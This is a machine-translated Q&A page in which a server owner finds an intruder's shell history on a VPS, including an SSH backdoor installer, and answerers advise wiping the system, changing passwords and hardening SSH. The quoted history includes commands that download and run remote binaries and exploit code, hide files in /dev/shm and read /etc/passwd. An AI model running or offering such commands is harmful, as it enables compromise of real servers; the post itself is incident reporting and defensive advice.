web-dev-qa-db-ja.com

VServerでSSHバックドアが見つかりました。何をすべきか？

昨日、VServerでコマンドの履歴を確認しました。疑わしい行がいくつか見つかりました。

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

特にsniffer.tgzは私に衝撃を与えました。仮想マシンをセットアップし、このtgzアーカイブをダウンロードしました。セットアップを開始すると、次の行が表示されました。

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

誰もこれを削除する方法を知っていますか？

sshsecuritymalware
24
itskajo

これは、このsniffer.tgzがオンになっているすべてのシステムで行うべきことです。軌道からの核immediately、クリーンインストールからやり直します。 （つまり、システムを破壊し、クリーンを再インストールし、cleanバックアップからデータをロードします-クリーンなバックアップがあると仮定してから、強化しますインターネットに戻す前のシステム）。

マルウェアがある場合やハッカーがこのようにシステムに侵入するたびに、システムがどのように構成されているかを再分析し、notと同じ手順を繰り返してください彼らは入りました。しかし、これはあなたが取り除いて法医学的に分析する能力を持っているシステムではないかもしれないので、そしてこれがあなたの唯一のサーバーであるかもしれないので、ちょうどdestroy仮想システムで、最初からやり直す時です（上で言ったように）。

（そして、これはシステムにマルウェアが侵入するような状況に適用されます。このようなものを交換するための予備のハードウェアがない限り、通常ほとんどのユーザーにはない侵害されたシステムを隔離して調査できます）システムを破棄して最初からやり直します。）

サーバーを分析せずに、あなたが間違ったことを本当に言うことはできませんが、このバックドアは、インストールされた単なる「プログラム」よりもシステムの奥深くにある可能性があります。そして、悪者はすでにシステムにバックドアをインストールする必要があるため、すべてのパスワードが侵害されて安全ではなくなったと想定できます（SSH、MySQLルート、またはこれまでに存在する他の種類のパスワードのいずれであっても）このコンピューターシステムに入力されました）。パスワードを変更する時間allパスワード！

クリーンな環境に戻ったら、考慮すべき強化手順に関する基本的なヒントを次に示します。これらによりトピックがより広範になるため、ここでは詳細に掘り下げることはできませんが、システムを保護するための強化手順を必ず実行する必要があります。

  1. ファイアウォールを有効にする、および開く必要があるポートへのアクセスのみを許可する。 ufwは単純であるために使用します。 Sudo ufw enable。 （環境に合わせてufwを適切に構成することは別の話であり、それはこの質問の範囲を超えています。）

  2. リモートSSHへのアクセスを制限する。これは常に実行できるとは限りませんが、理想的には、所有しているIPアドレスを特定し、ファイアウォールで具体的にホワイトリストに登録します。 （動的IPアドレスを使用している場合は、この手順をスキップしてください）。

  3. サーバーへのSSHアクセスをロックダウン、および認証にのみSSHキーを使用する必要があります。このように、ハッカーはサーバーを攻撃して、guessパスワードだけを試すことはできません。適切な秘密鍵を推測するのははるかに難しく（すべてをブルートフォースする必要があるため）、これはブルートフォース攻撃からの保護に役立ちます。

  4. あなたがウェブサイトを運営している場合、人々が自由に物事をアップロード/実行できないようにパーミッションをロックダウンしてください。これを行うことはサイトごとに異なるため、ここでこれ以上のガイダンスを提供することはできません（そうすることは不可能です）。

  5. また、JoomlaまたはWordpressなどを使用してWebサイトを実行している場合は、環境を常に最新の状態に保ち、ソフトウェアプロバイダーからのセキュリティ脆弱性をパッチしてください。

  6. 可能な場合、認証するものに対して2要素認証（2FA）メソッドをセットアップ、構成、および使用。さまざまなアプリケーションの二要素認証には多くのソリューションがあり、この方法でさまざまなアプリケーションを保護することはこの投稿の範囲を超えているため、ソリューションを選択する前にこの点について調査する必要があります。

  7. 絶対にセットアップでパスワードを使用する必要がある場合、適切なパスワードマネージャーを使用し（クラウドベースのものは必ずしも適切な選択ではありません）、長い長さを使用します（ 25文字以上）、パスワードで保護されている個々のアイテムごとに異なる、ランダムで覚えられないパスワード（パスワードマネージャーの推奨事項）。 （ただし、可能な場合はパスワードを使用しないこと（SSH認証など）を強く検討し、可能な場合は2FAを使用する必要があります。

67
Thomas Ward

バックドアが1つある場合、さらに3つあります。データを分離し、バックアップし、それを無効にし、慎重にデータを復元します。cron、php、またはmysqlのデータにも注意してください。これらはすべて危険にさらされる可能性があります。この時点で、彼らはすべてのパスワードとハッシュを持っているので、他のマシンが同様に構成されていれば、おそらくそれらもハッキングしていることを覚えておいてください。プラグイン/テーマなどでWordPressマルウェアを探している場合...権限を確認して、どこでも777があるかもしれません。簡単な答えはありません、あなたは多くの仕事を見ています。

0
tony lester